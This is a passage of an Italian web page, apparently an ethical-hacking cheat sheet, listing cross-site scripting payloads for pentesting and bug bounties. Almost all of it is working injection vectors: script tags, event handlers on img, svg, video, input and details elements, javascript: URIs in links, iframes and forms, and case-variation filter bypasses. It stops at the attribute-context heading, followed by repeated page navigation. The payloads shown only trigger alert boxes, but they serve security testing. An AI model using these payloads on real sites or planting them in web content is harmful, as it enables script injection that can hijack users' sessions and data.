XSS Payload List: cheat sheet completa per context, bypass e blind XSS

Sun, 29 Mar 2026 00:00:00 +0000

Lista di riferimento per payload XSS categorizzati per context, tecnica e scopo. Da usare durante pentest e bug bounty per coprire sistematicamente i vettori più comuni e bypassare i filtri frequenti.

→ Torna alla guida principale,per scoprire cos’è xss e le sue varianti: XSS Completo

Payload Base per Proof of Concept #

javascript

<script>alert(document.domain)</script>
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<iframe onload=alert(1) src=about:blank>

Payload per Context HTML Body #

javascript

// Tag script
<script>alert(document.domain)</script>
<SCRIPT>alert(1)</SCRIPT>
<ScRiPt>alert(1)</ScRiPt>

// Evento su img
<img src=x onerror=alert(1)>
<img src=x onerror="alert(1)">
<img src=x oNErRoR=alert(1)>
<img/src=x/onerror=alert(1)>

// SVG
<svg onload=alert(1)>
<svg/onload=alert(1)>
<svg onload="alert(1)">
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><set onbegin=alert(1) attributeName=x to=y>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>#x">

// HTML5 event handlers
<details open ontoggle=alert(1)>
<body onpageshow=alert(1)>
<marquee onstart=alert(1)>
<video autoplay oncanplay=alert(1) src=x>
<audio autoplay oncanplay=alert(1) src=x>

// Link JavaScript
<a href="javascript:alert(1)">X</a>
<a href=javascript:alert(1)>X</a>

// Object / Embed
<object data=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<iframe src="javascript:alert(document.domain)">

// Form
<form action=javascript:alert(1)><input type=submit>
<button formaction=javascript:alert(1)>X</button>

// Input events
<input onfocus=alert(1) autofocus>
<input onblur=alert(1) autofocus><input autofocus>
<input type="image" src=x onerror=alert(1)>

Payload per Context Attributo HTML #

Quando l’input finisce in un attributo HTML come <input value="INPUT">:

Xss-Polyglot on Ethical Hacking | Pentest e Sicurezza Informatica | Hackita

XSS Payload List: cheat sheet completa per context, bypass e blind XSS

Payload Base per Proof of Concept #

Payload per Context HTML Body #

Payload per Context Attributo HTML #